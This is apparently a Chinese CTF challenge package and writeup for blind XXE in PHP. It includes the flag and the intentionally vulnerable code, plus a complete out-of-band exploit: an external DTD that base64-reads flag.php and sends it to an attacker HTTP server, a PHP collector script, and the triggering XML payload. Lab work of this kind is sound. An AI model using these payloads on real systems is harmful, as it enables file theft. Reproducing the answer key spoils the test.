[题目信息]:
题目名称 | 题目难度 |
---|---|
无回显xxe利用 | 3 |
[题目考点]:
无回显xxe利用
[Flag格式]:
SangFor{rOo-xJfXXIVA4DLFyURKdxjSFnwyU4CW}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
<?php
$xml = file_get_contents("php://input");#1
if (strlen($xml)<10){
highlight_file("index.php.bak");
}
libxml_disable_entity_loader(false);
error_reporting(0);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);#2
echo 'I just load, but did not dispay!';
代码有两个关键点,#1和#2。
#1处 $xml由用户post数据赋值。
#2处 simplexml_load_string函数会读取$xml文件。
与前面题目有所不同的是未显示解析xml变量的结果,即无回显。
访问flag.php状态码返回200,证明flag.php文件存在。
在vps上放置两个文件,若没有vps,也可使用操作机使用Python2或者Python3搭建Web服务,靶机可访问即可。
python2搭建Web服务命令:
python -m SimpleHTTPServer 81
python3搭建Web服务命令:
python3 -m http.server 81
在目录下放置两个文件。
evil.txt
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.19.111:81/test.php?p=%file;'>">
test.php
<?php
if (isset($_GET['p'])){
file_put_contents('result.txt', $_GET['p']);
}
利用XXE发送两次请求,第一次请求,使用参数实体读取文件,第二次请求,将读取文件的参数实体附带在对外请求中。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE everything [
<!ENTITY % SangFor SYSTEM "http://192.168.19.111:81/evil.txt">
%SangFor;%int;%send;]>
Payload会访问vps服务器上的evil.txt文件。
evil.txt的参数实体%file会将读取的flag文件base64编码带入到http://192.168.19.111:81/test.php?p=%file;,去访问本地的test.php文件,如下图所示。
将base64解码即可。